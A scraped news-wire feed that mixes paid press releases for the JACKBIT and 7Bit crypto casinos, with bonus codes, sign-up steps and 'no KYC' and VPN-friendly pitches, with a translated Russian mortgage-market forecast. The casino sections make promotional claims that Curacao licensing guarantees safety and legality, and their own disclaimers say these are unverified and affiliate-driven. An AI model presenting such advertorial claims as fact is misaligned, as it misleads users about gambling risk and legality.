As mentioned, JACKBIT has fiat payment options for those who do not opt for cryptocurrencies. This no KYC casino offers 24 different fiat deposit methods, including Mastercard, Apple Pay, Google Pay, Visa, Skrill, Neteller, Pix, bank transfer, and so on. However, remember, while crypto transactions offer a no KYC option, fiat payments ight need KYC verification. Moreover, fiat options cannot be used for withdrawals, as to take out the winnings, players have to choose between any cryptocurrencies.

Self-Exclusion Tools Offered By JACKBIT
A reputable no KYC casino, JACKBIT, values the safety of its players. So, the best no KYC casino offers multiple options that allow players to play safely and responsibly. Some of the self-exclusion methods offered by JACKBIT are:

Account limits: This is a method that helps players set daily, weekly, or monthly deposit limits for their accounts.
Time-out periods: JACKBIT allows players to take short breaks from gambling for 24 hours, 72 hours, or a couple of days to avoid addictions.
Self-Exclusion: If a player has more serious issues or addiction, JACKBIT helps those players exclude themselves from gambling for an extended period from 6 months to 5 years.

Is JACKBIT A Trustworthy No KYC Casino In 2025?

Wondering whether JACKBIT is a trustworthy platform or not? You are not alone. Although JACKBIT is a popular no KYC casino and one of the best casino platforms available in 2025, it is normal to have doubts about the reputation of the platform. Even though casinos come with certain inherent risks, JACKBIT casino without KYC, reduces them to a certain extent with its reputation, license, and fairness. In this section, let’s have a detailed look at how safe and reliable this no KYC casino is.

License and reputation

The first and foremost thing that ensures the reliability of JACKBIT, the best no KYC casino, is the license and certification it holds. According to official data, this casino without KYC is licensed by the Curacao Gaming Control Board. This anonymous casino is one of the most reputable and recognized organizations in the gambling landscape. So, as licensed by this organization, JACKBIT functions under a set of rules and laws recognized by it. So, we can ensure that JACKBIT is a reliable and trustworthy casino platform.

Provably Fair Gameplay

JACKBIT is a no KYC casino that includes over 2000+ renowned game providers. Some of the most popular ones include BGaming, AvatorUX, Apollo Play, Backseat Gaming, Booming Gaming, and more. Moreover, this anonymous casino platform follows the provably fair gameplay and works on a certified Random Number Generator (RNG) system, making things more transparent and fair.

Transparent payment facilities

The diverse cryptocurrency transaction facilities ensure that JACKBIT anonymous casino follows a transparent payment facility. Despite the instant deposits and withdrawals, the transaction speed and blockchain-based payment confirm that the transactions will be conducted within seconds or minutes without any unnecessary distractions.

Players’ experience

At JACKBIT, the experience of the players is the most valued. In order to ensure that all its players enjoy their gaming, the platform offers a minimal and easy-to-navigate interface with a clutter-free website. Moreover, JACKBIT no verification casino has a well-optimized website that works well on both desktop as well as mobile devices. Furthermore, this no KYC casino has a 24/7 live chat facility that works to address and rectify all the issues and concerns of its players.

JACKBIT Casino Conclusion: The Best No KYC Casino In 2025

As we reach the conclusion of this review about JACKBIT, it is clear that this no KYC casino is one of the best casinos available in 2025. This platform opens a wide array of exciting, fun, and engaging games along with noteworthy bonuses for its users. One of the best crypto sportsbooks is also available on JACKBIT.

The total casino games, sports, and others offered by this platform exceeds 7000 in number. Among these, over 6000+ are casino games from different categories such as poker, table games, instant wins, slots, and so on. You have also come across the diverse and beneficial bonuses and promotions, ranging from welcome bonuses to tournaments and cashbacks.

The safety and transparency maintained by JACKBIT also make it the best no KYC casino in 2025. With 17+ cryptocurrencies and other transaction methods, JACKBIT offers no KYC registration and payment facilities.

So, the personal data collected by this platform is less compared to traditional casinos. Moreover, the games included in this casino are RNG-certified and follow provably fair gameplay. The Curacao license that JACKBIT owns also confirms that the casino is reliable and follows officially recognized laws and frameworks.

So, altogether, JACKBIT had succeeded in proving its safety and reliability, making it one of the best and most trusted no KYC casinos of 2025. Now, the ball is in your court. It’s you, the players, who have to identify the potential benefits and bonuses of the platform and play ideally to earn significant rewards. So, responsibly and safely. Sometimes you might be a spin away from your jackpot.

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FAQ’s About Best No KYC Casino 7Bit

Does JACKBIT require KYC verification?

JACKBIT allows players to engage in the diverse games offered on this platform without a KYC verification. However, the platform may ask for KYC verification while using fiat transactions.

Is JACKBIT a legal no KYC casino?
Yes. JACKBIT is a legal no KYC casino with a license from the Curacao Gaming Control Board. However, the legality and regulations of the casino differ depending on the region from which you access it.

Does JACKBIT offer a mobile app?

As JACKBIT has a well-optimized website that suits all devices, the casino does not need a separate mobile application.

Is a VPN needed to use JACKBIT?

A VPN is not mandatory to use JACKBIT. However, this casino is a VPN-friendly platform.

How does JACKBIT handle players’ personal data?

JACKBIT has advanced encryption methods and no KYC registration facilities, which help safeguard the user data easily and effectively.

Email: support@jackbit.com

Legal Disclaimer

This content is for informational purposes only and not legal, financial, or gambling advice. Ensure compliance with local gambling laws. No warranties are made regarding accuracy. Readers are responsible for verifying information and ensuring legal compliance. Gambling may be restricted in some regions.

Affiliate Disclosure

Some links may be affiliate links, earning a commission at no cost to you. Recommendations are based on objective evaluation, and partnerships do not influence conclusions.

Disclaimer: This press release is provided by the Jackbit. The statements, views, and opinions expressed in this content are solely those of the content provider and do not necessarily reflect the views of this media platform or its publisher. We do not endorse, verify, or guarantee the accuracy, completeness, or reliability of any information presented. We do not guarantee any claims, statements, or promises made in this article. This content is for informational purposes only and should not be considered financial, investment, or trading advice.

Investing in crypto and mining-related opportunities involves significant risks, including the potential loss of capital. It is possible to lose all your capital. These products may not be suitable for everyone, and you should ensure that you understand the risks involved. Seek independent advice if necessary. Speculate only with funds that you can afford to lose. Readers are strongly encouraged to conduct their own research and consult with a qualified financial advisor before making any investment decisions. However, due to the inherently speculative nature of the blockchain sector—including cryptocurrency, NFTs, and mining—complete accuracy cannot always be guaranteed.

Neither the media platform nor the publisher shall be held responsible for any fraudulent activities, misrepresentations, or financial losses arising from the content of this press release. In the event of any legal claims or charges against this article, we accept no liability or responsibility.

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The MIL Network –

April 30, 2025

MIL-OSI Russia: Worst result in 8 years – mortgage market predicted to face a severe rollback

Translation. Region: Russian Federal

Source: Mainfin Bank –

How will the mortgage lending market change in 2025?

Experts’ forecast for issuance mortgage loans in Russia is disappointing – experts expect the worst result since 2016. As expected, in 2025:

the number of executed mortgage agreements will decrease to 800 thousand, which will be 40% lower than last year’s level; the amount of issued loans will amount to 3.7 trillion rubles – a drop of almost 30%; the average bill will increase above 4 million rubles (a year earlier – 3.7 million rubles); an increase in the average payment is expected by 13% – up to 35 thousand rubles per month; the total volume of the banks’ mortgage portfolio, taking into account existing loans, will increase above the 20 trillion ruble mark.

However, the forecast only takes into account the current situation without significant upheavals in the industry – it is based on a key rate of 18-21%: in the presence of shock events, the changes may be even more significant.

Why are mortgage loans being issued in Russia decreasing?

Negative dynamics in the mortgage loan segment have been observed since mid-2024, amid the cancellation of the preferential mortgage program in new buildings. The decrease in demand for housing loans is due to the following factors:

high interest rates, often exceeding 30%; worsening conditions for government-supported programs; tightening regulation of the industry by the Central Bank of the Russian Federation; popularity of installment programs from developers – such loans already account for up to 50% of all contracts; continuing growth in housing prices – apartments are becoming less and less affordable.

“It is not profitable for Russians to take out mortgage loans – now many families planning to buy housing prefer to open savings accounts and deposits, expecting a reduction in rates in the industry,” experts emphasize.

Current borrowers have also changed their payment behavior – early mortgage repayment is becoming less and less popular, and by the end of 2025, only 2% of contracts will be closed ahead of schedule. Russians have fewer and fewer incentives to repay loans early, especially against the backdrop of favorable conditions for savings products.

When will demand for mortgages among Russians recover?

It is definitely not worth expecting even a partial recovery of the industry in the coming months. As the survey results show, most Russians are ready to take out a mortgage if market rates fall to 15-18% per annum. Every fifth borrower in the Russian Federation is willing to consider getting a loan even at 20%, and every tenth citizen is waiting for a reduction to 10%.

However, there are no prerequisites for such a serious revision of the conditions on the part of banks no – the regulator has been keeping the key rate at the current level for several meetings in a row. The transition to easing monetary policy is expected in the second half of 2025, provided that inflation does not exceed the forecast values, but even in this case, one should not expect a sharp reduction in the rate.

14:35 04/29/2025

Source:

Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

Please Note; This Information is Raw Content Directly from the Information Source. It is access to What the Source Is Stating and Does Not Reflect

HTTPS: //Mainfin.ru/novosti/Chudny-results-out-and-pound-idle-fish-prying-zest-oatmeal

MIL OSI Russia News –

April 30, 2025

MIL-OSI: Best Online Casinos Australia: 7Bit Casino Ranked Top Choice for Aussie Players in 2025

Source: GlobeNewswire (MIL-OSI)

PERTH, Australia, April 29, 2025 (GLOBE NEWSWIRE) — After trying out tons of online casinos in Australia, most just didn’t live up to the hype, especially when it came to bonuses. While chatting with a few local players, one name kept coming up: 7Bit casino. So, we decided to check it out. Right from the start, it felt like a different experience. The welcome offer was massive, that is up to 10,800 AUD plus 250 free spins. With thousands of slots, live dealer games, and smooth crypto payments, 7Bit stood out as something special.

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7Bit Casino : Our Favourite Overall Casino

7Bit Casino, licensed by Curacao eGaming, offers a modern, user-friendly interface with vibrant graphics and seamless navigation. Its game library exceeds 10,000 titles, including Australian online pokies, table games, and live dealer options with high RTPs. The casino supports both fiat and crypto payments, with fast withdrawals via PayID and Bitcoin, positioning it as a top PayID casino.

The mobile platform mirrors the desktop experience, ensuring players can enjoy online pokies for real money on the go. 24/7 live chat provides prompt support, and SSL encryption with a provably fair system enhances security, though third-party audits like eCogra are absent. Responsible gambling tools, such as deposit limits and self-exclusion, are available to promote safe play.

7Bit Casino earns our top spot for its unmatched game variety, generous bonuses, and Aussie-friendly features. With thousands of online pokies real money options, a 10,800 AUD + 250 free spins welcome bonus, and fast PayID transactions, it’s a standout PayID casino. The platform’s mobile optimization, robust security, and 24/7 support make it ideal for players seeking online blackjack real money or real money pokies Australia.

Regular promotions, tournaments, and a rewarding VIP program further elevate its appeal, ensuring a thrilling and reliable gaming experience.

What Makes 7Bit Casino The Best Online Casino Australia

7Bit Casino is a top choice for Australian players, offering a massive selection of over 10,000 games, including crowd-favorite pokies like Mega Moolah and Johnny Cash, plus table and live dealer options. High RTP slots and a generous welcome package – up to 10,800 AUD + 250 free spins make it especially appealing. Players also get 75 no-deposit free spins (code: 75BIT), weekly cashback, reload bonuses, and exclusive Telegram deals.

With fast PayID and crypto withdrawals, 24/7 live chat, and a mobile-friendly design for iOS and Android, 7Bit makes playing on the go easy. Licensed in Curacao and active for over a decade, it offers a trusted, secure environment. The VIP program adds value with cashback, faster payouts, and exclusive rewards, while regular tournaments keep things exciting. For real money pokies in Australia, 7Bit blends variety, speed, and player perks perfectly.

How to Join 7Bit Best Online Casino Australia

Joining 7Bit Casino is straightforward and designed for quick access to the best online casinos in Australia:

Visit 7Bit Casino. Click Here to Directly Visit 7Bit Casino’s Official Website
Click “Sign Up” on the homepage.
Enter your name, email, date of birth, and create a username/password.
Verify your email if prompted.
Log in, deposit using PayID or crypto, and claim the welcome bonus.

The process takes about a minute, and players instantly join the VIP program, unlocking perks like cashback and exclusive bonuses for real money pokies in Australia.

How We Selected 7Bit as the Best Online Casino in Australia

We evaluated 7Bit Casino based on rigorous criteria to ensure it meets the needs of Aussie players:

License and Security

7Bit holds a Curacao eGaming license, ensuring regulatory oversight. SSL encryption protects player data, and a provably fair system allows game fairness verification. While no eCogra audits are noted, the license and security measures provide a solid foundation of trust for online pokies real money players.

Bonuses and Promotions

The welcome package offers 325% up to 10800 AUD + 250 FS

1st Deposit Bonus: 100% up to 800 AUD + 100 FS
2nd Deposit Bonus: 75% up to 1200 AUD + 100 FS
3rd Deposit Bonus: 50% up to 800 AUD
4th Deposit Bonus: 100% up to 8000 AUD + 50 FS

A payid pokies Australia no deposit bonus of 75 free spins (code ‘75BIT’, x45 wagering, €50 max cashout) is available. Weekly cashback, reload bonuses, and Telegram-exclusive offers keep players engaged, making it a top choice for online pokies Australia payid enthusiasts.

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Casino Games

With over 10,000 games, 7Bit offers online pokies real money, table games, and live dealer options. High-RTP titles like Mega Moolah are favorites among the best online casino Australia players, ensuring diverse and rewarding gameplay.

Casino Game ProvidersOur Favourite Overall Casino

Partners include industry leaders like NetEnt, Microgaming, Play’n GO, and Evolution Gaming, ensuring high-quality, fair games for Australian online pokies and online blackjack players.

Banking Methods

Supports VISA, Mastercard, Neosurf, Skrill, PayID, and cryptocurrencies like Bitcoin and Ethereum. PayID is ideal for Aussies, offering fast transactions for the best online casino in Australia.

Customer Support

24/7 live chat responds within seconds, email support is slower, and no phone support is available. A detailed FAQ section addresses common queries, enhancing the experience for best online casinos in Australia.

The Selection Process: Defining Excellence in Online Gaming

Screening: Verify licensing and reputation to ensure trust.
Game Evaluation: Assess variety, quality, and provider reputation.
Bonus Analysis: Check value, terms, and wagering requirements.
Payment Review: Test speed, security, and options like PayID.
Support Testing: Evaluate response times and effectiveness.
Mobile Testing: Ensure compatibility for online pokies real money on smartphones.
Security Check: Confirm encryption and fairness systems.
Player Feedback: Analyze reviews for real-world insights.
Scoring: Rank based on weighted criteria to identify top PayID casino options.

Pros and Cons of 7Bit Online Casino

Pros	Cons
Over 10,000 games, including real money pokies	High wagering requirements on bonuses
Welcome bonus: 10,800 AUD + 250 FS	No phone support
Fast PayID and crypto withdrawals	No third-party audits (e.g., eCogra)
24/7 live chat support
Mobile-friendly platform
Curacao license and SSL encryption
Responsible gambling tools

Explore the Best Online Pokies and Casino Games at 7Bit Casino

7Bit’s 10,000+ games provide a thrilling experience for real money pokies Australia players and beyond:

1. Pokies (Slots)

7Bit is a haven for online pokies Australia players, offering thousands of titles from classic three-reel slots to modern video slots with immersive graphics and features. Popular titles include:

Mega Moolah: Renowned for its massive progressive jackpots, offering life-changing wins.
Johnny Cash: A music-themed slot with free spins and engaging bonus rounds.
Elvis Frog in Vegas: High-RTP slot with vibrant visuals and sticky wilds.
Wild Spin: Packed with wild features and big win potential.
Raging Lion: A safari-themed slot with dynamic gameplay and multipliers.
Book of Dead: An adventure-themed slot with expanding symbols and high volatility.

These real money pokies are ideal for players seeking thrilling online pokies real money experiences, with demo modes available for practice.

2. Table Games

Traditional casino games offer strategic depth:

Blackjack: Variants like Classic, European, and Multi-Hand cater to all skill levels.
Roulette: European, American, and French options provide diverse betting opportunities.
Baccarat: A simple yet rewarding card game with a low house edge.
Poker: Video poker titles like Jacks or Better and Deuces Wild for solo play.

These games complement Australian online pokies for players seeking variety.

3. Live Dealer Games

Powered by Evolution Gaming, live dealer games deliver an authentic casino experience:

Live Blackjack: Real-time interaction with professional dealers, ideal for online blackjack in Australia.
Live Roulette: Authentic wheel-spinning action with multiple camera angles.
Live Baccarat: Play against the banker in a high-stakes environment.

High-quality streaming ensures immersion for online blackjack real money players.

4. Instant Win Games

Quick-play options for fast entertainment:

Scratch Cards: Virtual lottery-style games with instant payouts.
Keno: Number-picking for quick wins, offering simplicity and excitement.

These are perfect for players taking a break from real money pokies Australia.

5. Virtual Sports

Simulated events like football, horse racing, and greyhound racing offer betting opportunities with realistic graphics and outcomes, providing an alternative to online pokies Australia.

6. Craps

7Bit does not offer Craps, which may disappoint dice game enthusiasts. However, alternatives like Sic Bo provide similar dice-based excitement with varied betting options, fast-paced gameplay, and high payout potential. Players can also explore table games like roulette or online blackjack for real money for comparable thrills, ensuring a diverse gaming experience alongside real money pokies.

7. Poker

7Bit offers a robust poker selection for all skill levels:

Video Poker: Popular titles like Jacks or Better, Deuces Wild, Aces and Faces, and Joker Poker for solo play with high RTPs.
Live Poker: Casino Hold’em, Three Card Poker, and Caribbean Stud Poker via live dealer, offering real-time competition against the dealer.
Virtual Poker: Texas Hold’em and Omaha variants for strategic gameplay, perfect for honing skills.

These options cater to both casual players and seasoned pros seeking alternatives to online pokies real money.

8. Roulette

Roulette options provide diverse betting opportunities:

European Roulette: Single zero for better odds, popular among strategic players.
American Roulette: Double zero increases house edge, adding challenge.
French Roulette: Features La Partage and En Prison rules for reduced losses.
Live Roulette: Lightning Roulette adds random multipliers for bigger wins, enhancing excitement.

These games are ideal for players who enjoy strategic betting alongside real money pokies in Australia.

9. Blackjack

Blackjack variants offer variety for online blackjack Australia fans:

Classic Blackjack: Standard rules for beginners, with a low house edge.
European Blackjack: Restricts doubling after splitting, adding strategy.
Multi-Hand Blackjack: Play up to five hands at once for higher stakes.
Live Blackjack: Real-time games with professional dealers, perfect for online blackjack real money enthusiasts.
Blackjack Switch: Allows swapping cards between hands for unique gameplay.

These options ensure a thrilling experience for players seeking online blackjack real money.

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Payment Options Available At The Best Online Casinos in Australia

Fiat Currency

Method	Deposit	Withdrawal	Processing Time
VISA/Mastercard	Yes	No	N/A
Neosurf	Yes	No	N/A
Skrill	Yes	Yes	Instant
Interac	Yes	Yes	Instant
Neteller	Yes	Yes	Instant
Paysafe Card	Yes	No	N/A
PayID	Yes	Yes	1-24 hours
Bank Transfer	Yes	Yes	3-7 days
Cryptocurrency
Method	Deposit	Withdrawal	Processing Time
Bitcoin	Yes	Yes	<1 hour
Litecoin	Yes	Yes	<1 hour
Binance Coin	Yes	Yes	<1 hour
Ethereum	Yes	Yes	<1 hour
Dogecoin	Yes	Yes	<1 hour

PayID and crypto are the fastest, ideal for online pokies Australia payid users, while bank transfers are slower but reliable.

The Most Popular Pay-out Methods at 7Bit Casino

Cryptocurrencies: Bitcoin, Ethereum, and Litecoin for speed and anonymity.
PayID: Fast, Aussie-friendly for online pokies Australia payid users.
E-Wallets: Skrill and Neteller for instant withdrawals.
Bank Transfers: Slower but reliable for larger transactions.

PayID and crypto are preferred for their speed, making them ideal for PayID casino players.

VIP Program at 7Bit Casino

7Bit’s VIP program rewards loyal players with exclusive bonuses, personalized support, and up to 20% cashback. Higher levels offer faster withdrawals, special gifts, and dedicated account managers. Players earn points through wagering on real money pokies in Australia, unlocking perks like free spins and tournament entries. The program enhances the experience for PayID casino users, adding value to every bet.

Final Thoughts About the Best Online Casino in Australia

7Bit Casino is likely the top choice for Aussie players in 2025, offering a vast game selection, generous bonuses, and fast PayID withdrawals. Despite minor drawbacks like high wagering requirements and no phone support, its strengths in game variety, mobile compatibility, and player-focused features make it a standout PayID casino.

Whether you’re spinning online pokies Australia or playing online blackjack real money, 7Bit delivers a thrilling and reliable experience.

>>PLAY AT 7BIT CASINO – AUSTRALIA’S TOP PAY ID CHOICE FOR 2025!<<

Frequently Asked Questions About The Best Online Casinos Australia

Is 7Bit Casino legal in Australia?
7Bit is licensed by Curacao, making it accessible to Australian players. However, online gambling laws vary by state, so players should verify local regulations to ensure compliance before playing real money pokies Australia or other games.
What payment methods are accepted?
7Bit supports VISA, Mastercard, Neosurf, Skrill, PayID, Bitcoin, Ethereum, Litecoin, and more. PayID and cryptocurrencies are the fastest, ideal for online pokies Australia payid users, offering secure and efficient transactions for PayID casino players.
How long do withdrawals take?
Cryptocurrency withdrawals process in under an hour, PayID takes 1-24 hours, and e-wallets like Skrill are instant. Bank transfers can take 3-7 days, depending on the bank, making PayID and crypto preferred for real money pokies Australia players.
What’s the welcome bonus?
7Bit offers up to 10,800 AUD + 250 free spins across four deposits, plus a payid pokies australia no deposit bonus of 75 free spins (code ‘75BIT’, x45 wagering). This package is ideal for new players exploring online pokies with real money and other games.
Is mobile gaming available?
7Bit’s mobile platform is fully optimized for iOS and Android, mirroring the desktop experience. Players can enjoy online pokies Australia, online blackjack real money, and live dealer games on the go with seamless performance and intuitive navigation.

EMAIL: Support@7bitCasino.com

Disclaimers and Affiliate Disclosure

General Disclaimer
This article is for informational and entertainment purposes only, not legal or financial advice. Content is based on research and user reviews as of April 24, 2025. No warranties are made, and users must verify information before acting.

Casino and Gambling Disclaimer
Online gambling carries risks and isn’t suitable for everyone. Confirm you’re of legal gambling age in your jurisdiction. Gambling laws vary, and compliance is your responsibility. We don’t promote gambling; participation is at your risk. 7Bit Casino is a third-party platform, and we’re not liable for losses or disputes.

Affiliate Disclosure
This article may include affiliate links, earning us a commission at no cost to you for qualifying actions. These support our content. Our reviews are unbiased, and we recommend only valuable products. Do your own research before signing up or playing real money pokies in Australia.

A photo accompanying this announcement is available at:
https://www.globenewswire.com/NewsRoom/AttachmentNg/e955b95c-b051-4108-9d06-23bb3d13cbcd

The MIL Network –

April 30, 2025

MIL-OSI: Best Online Casinos Canada 2025: 7Bit Casino Recognized as the Best Overall Choice

Source: GlobeNewswire (MIL-OSI)

PORTLAND, Ore., April 29, 2025 (GLOBE NEWSWIRE) — We played through plenty of online casinos across Canada, hoping to find great bonuses and a good time, but most fell short. After talking to a few local players, one name kept popping up, so we decided to check it out. That’s how we ended up at 7Bit Casino, and right away, it felt different. We were greeted with a 325% bonus up to 5.25 BTC and 250 free spins. The site’s packed with thousands of slots, live games, and fast, crypto-friendly payments.

✅JOIN 7BIT CASINO – NO KYC, JUST INSTANT ACTION!

Why 7Bit Casino Stands Out from Other Casinos in Canada

7Bit Casino stands out among Canadian online casinos with its crypto-friendly, no KYC approach, supporting Bitcoin, Ethereum, and altcoins like Tron and Cardano. It offers instant withdrawals via Pay ID and crypto, unlike many fiat-only competitors. With over 10,000 games from 100+ providers, including NetEnt and BGaming, 7Bit delivers a diverse, exclusive library. The platform also builds community through Telegram, shares exclusive offers, and promotes eco-friendly crypto use, appealing to modern, privacy-focused players.

Our Favourite Overall Casino

7Bit Casino is our top pick among the best online casinos in Canada for 2025. Its seamless integration of crypto gaming, a vast slot selection, and rapid payouts make it a standout. The Curacao license guarantees security, while its cryptocurrency focus positions it as a leading anonymous online casino. For players seeking the best online casinos in Canada, 7Bit’s innovative features, player-centric design, and commitment to fairness make it an unrivaled choice.

How to Join 7Bit Casino

Joining 7Bit Casino is a breeze, ensuring quick access to the best online casinos in Canada:

Visit the Site: Navigate to 7Bit Casino. Click Here to Directly Visit 7Bit Casino
Sign Up: Click “Sign Up” and provide your email, username, and password.
Select Currency: Choose between fiat or crypto options for deposits and withdrawals.
Verify Account: Confirm your email address via the link sent to your inbox.
Deposit Funds: Fund your account using fiat or crypto payment methods.
Claim Bonus: Activate the welcome bonus of up to 5.25 BTC + 250 free spins.

This streamlined process gets you gaming in minutes, a hallmark of the best online casinos in Canada.

7Bit Casino Features

7Bit Casino stands out as one of the best online casinos in Canada, licensed by the Curacao eGaming Commission for a secure, fair experience. Its mobile compatibility ensures seamless access to games, account management, and withdrawals on the go. With over 10,000 games from 100+ providers, it offers a diverse selection of slots, table games, and live dealers.

Supporting both fiat and cryptocurrency payments, 7Bit provides flexibility for all players. Fast payouts, especially via Pay ID and crypto, make it a leader in quick transactions, while its VIP program rewards loyalty with cashback, free spins, and bonuses.

Additional features include:

Provably Fair Games: Many crypto-based games allow players to verify outcomes, enhancing trust and transparency.
Multi-Language Support: Available in English, French, and other languages, catering to Canada’s multicultural audience.
Regular Tournaments: Slot and table game tournaments offer cash prizes and free spins, adding competitive excitement.
Advanced Game Filters: Players can sort games by provider, theme, or features like Megaways, Bonus Buy, or high volatility.
Customizable Interface: Options to adjust themes and layouts for a tailored gaming experience (Bitcoin Casino Kings).

Pros and Cons of 7Bit Casino

Pros	Cons
Over 10,000 games, including top slots and live dealer options	High wagering requirements on some bonuses
Instant withdrawals via crypto and Pay ID	Occasional regional game restrictions
Generous welcome bonus: 5.25 BTC + 250 free spins
Supports fiat and crypto payments
Robust VIP program with exclusive rewards

Pros Explained:

Game Variety: 7Bit’s extensive library offers endless entertainment, from the best online pokies to immersive live dealer experiences, catering to all player preferences.
Speedy Payouts: As a pay ID casino, 7Bit ensures instant withdrawals, particularly for crypto users, setting a high standard for efficiency.
Bonuses: The welcome package and frequent free spins promotions enhance player value, making every session rewarding.
Payment Flexibility: Support for multiple currencies ensures accessibility for diverse players.
VIP Program: Personalized rewards, including higher cashback and dedicated account managers, foster loyalty.

Cons Explained:

Wagering Requirements: Some bonuses come with high playthrough conditions, which may challenge players aiming to withdraw winnings quickly.
Bank Transfers: While crypto and e-wallets are instant, bank transfers can take 3–5 days, lagging behind faster methods.
Regional Restrictions: Certain games may be unavailable in specific regions due to licensing or provider restrictions.

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Regulation of the Best Online Casinos in Canada

The best online casinos in Canada adhere to stringent regulations to ensure player safety and fairness. Key regulatory aspects include:

Licensing Requirements: Casinos like 7Bit must hold valid licenses, such as from the Curacao eGaming Commission, to operate legally. These licenses enforce oversight, fair play, and financial accountability.
Provincial Oversight: Ontario regulates online gambling through iGaming Ontario, requiring specific licensing for operators in the province. Offshore casinos, like 7Bit, serve other provinces under international licenses, offering broader access.
Age Restrictions: Players must be 19 or older to gamble online in Canada, aligning with federal and provincial laws to protect minors.
Responsible Gambling Measures: Licensed casinos provide tools like deposit limits, self-exclusion options, and cooling-off periods to promote responsible play and prevent addiction.
Taxation Policies: Recreational gambling winnings are tax-free in Canada, but professional gamblers may face taxation on consistent profits, as per CRA guidelines.
Security Standards: Mandatory SSL encryption, TLS1.3 protocols, and fairness audits by organizations like eCOGRA protect player data and ensure game integrity.
Advertising Compliance: Casinos must follow strict advertising guidelines, avoiding promotions targeting vulnerable groups or minors, and ensuring ethical marketing practices.

These regulations create a secure and transparent environment, making platforms like 7Bit trusted choices among the best online casinos in Canada.

How We Selected 7Bit as the Best Online Casinos in Canada

Our selection process for the best online casinos in Canada is meticulous, focusing on critical criteria to ensure quality and reliability:

License and Security

A valid license, such as 7Bit’s Curacao eGaming certification, is non-negotiable, guaranteeing regulatory oversight and fair play. Advanced security measures like TLS 1.3, SSL encryption, and two-factor authentication safeguard player data and transactions, making 7Bit a secure choice (Zamsino).

Bonuses and Promotions

We prioritize casinos offering fair and transparent bonuses. 7Bit’s generous welcome package and ongoing free spins promotions provide significant value, though players should note the wagering requirements.

Casino Games

A diverse game library is essential, encompassing slots, table games, live dealer options, and instant-win games. 7Bit’s 10,000+ titles ensure variety for all players.

Casino Game Providers

Partnerships with top providers like NetEnt, Microgaming, and Evolution Gaming ensure high-quality, innovative games. 7Bit’s collaboration with over 100 providers sets it apart.

Banking Methods

Support for multiple payment methods, including fiat and crypto, enhances accessibility. 7Bit’s instant crypto and Pay ID withdrawals are a major draw.

Customer Support

Responsive 24/7 support via live chat, email, and comprehensive FAQs is crucial. 7Bit excels in this area, ensuring player satisfaction.

How We Choose the Top-Rated Casino Sites

Our evaluation criteria for top-rated casino sites like 7Bit include:

Reputation and Trustworthiness: Positive player reviews and valid licensing build credibility.
Game Quality and Variety: High-RTP games and a diverse library cater to all preferences.
Bonuses and Promotions: Fair, valuable offers enhance player experience.
Payment Options: Secure, varied methods with fast processing times ensure convenience.
Customer Support: Responsive, multi-channel assistance resolves issues quickly.
Mobile Compatibility: Seamless app or browser play is essential for modern gaming.
Security and Fairness: Advanced encryption and third-party audits guarantee safety and integrity.

7Bit excels across these metrics, solidifying its place among the best online casinos Canada.

The Selection Process: Defining Excellence in Online Gaming

Excellence in online gaming, as demonstrated by 7Bit, involves a holistic approach:

Player-Centric Design: Intuitive interfaces, fast payouts, and generous bonuses prioritize user satisfaction.
Innovation and Updates: Regular game additions and crypto integration keep the platform cutting-edge.
Security and Transparency: Robust encryption, provably fair games, and clear terms build trust.
Accessibility Across Platforms: Seamless desktop and mobile experiences cater to diverse player needs.This comprehensive strategy positions 7Bit as a leader among the best online casinos in Canada for 2025.

About Gaming in 7Bit Casino

Gaming at 7Bit is immersive, intuitive, and endlessly engaging. The user-friendly interface simplifies navigation, allowing players to explore the vast library with ease. Frequent game additions ensure a fresh experience, while high-RTP titles maximize winning potential.

Whether spinning the best online pokies, strategizing in live dealer games, or enjoying instant win thrills, players benefit from a platform designed for entertainment and fairness. The crypto focus makes 7Bit a best no KYC casino, offering anonymous play without sacrificing security.

Additional 7Bit Features

Loyalty Program: A multi-tiered VIP system offers escalating rewards, including higher cashback percentages, free spins, and dedicated account managers for top-tier players.
Seasonal Promotions: Holiday-themed offers, such as Christmas or Halloween bonuses, provide exclusive free spins and deposit matches.
Community Engagement: Active Telegram and social media channels deliver real-time updates, exclusive free spins, and a sense of community among players.
Low Minimum Deposits: Starting at $10 for fiat and lower for crypto, 7Bit is accessible to players of all budgets.
Multi-Currency Accounts: Players can manage balances in multiple currencies, simplifying transactions across fiat and crypto.
Eco-Friendly Initiatives: By promoting low-energy crypto transactions, 7Bit appeals to environmentally conscious players, a unique selling point.
Cross-Platform Syncing: Progress syncs seamlessly across desktop and mobile, ensuring uninterrupted play.
Player Feedback Integration: 7Bit actively incorporates user suggestions, adding requested games and improving features.
Crypto Tutorials: Guides for new crypto users simplify deposits and withdrawals, enhancing accessibility.
Responsible Gambling Resources: Links to organizations like GamCare and tools like deposit limits promote safe play.
High RTP Focus: Many games boast RTPs above 96%, increasing player win potential (Bitcoin Casino Kings).

Bonuses and Promotions of 7Bit Casino

7Bit’s welcome bonus is a standout among the best online casinos Canada, offering up to 5.25 BTC + 250 free spins across four deposits:

1st Deposit: 100% match up to 1.5 BTC + 100 free spins
2nd Deposit: 75% match up to 1.25 BTC + 100 free spins
3rd Deposit: 50% match up to 1.5 BTC
4th Deposit: 100% match up to 1 BTC + 50 free spins

Ongoing promotions include:

Weekly Cashback: Up to 20% based on weekly losses, rewarding consistent play.
Monday Reload: 25% match up to 6.5 mBTC + 50 free spins, kicking off the week with a boost.
Wednesday Free Spins: Up to 100 free spins on Snoop Dogg Dollars, based on deposit size.
Friday Bonus: 111 free spins for a 0.52 mBTC deposit, perfect for weekend gaming.
Weekend Offer: 99 free spins
Telegram Offers: Exclusive bonuses, including 50–111 free spins for specific deposits.
Pre-Release Offers: 35 free spins on new titles like Gold Nugget Rush, giving early access to fresh games.
Spring Elite Offer: Up to 100 free spins, celebrating seasonal events.

These promotions make 7Bit a top new online casino, keeping players engaged with frequent rewards (CasinoOnlineCA).

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Payment Options

7Bit offers a versatile range of payment methods, catering to all player preferences:

Fiat Options:
- Visa: Secure card payments with quick deposits.
- Mastercard: Widely accepted for deposits and withdrawals.
- Interac: Popular in Canada for fast, local transactions.
- Skrill: E-wallet for rapid transfers.
- Neteller: Trusted e-wallet with global reach.
- Paysafe Card: Prepaid option for secure deposits.
- Bank Transfer: Reliable but slower for withdrawals.
- Neosurf: Prepaid voucher for anonymous deposits.
- EcoPayz: Eco-friendly e-wallet with low fees.
- MuchBetter: Mobile-friendly payment app for quick transactions.
Cryptocurrencies:
- Bitcoin (BTC): Industry-standard for fast, anonymous transactions.
- Ethereum (ETH): Smart contract-based crypto for secure payments.
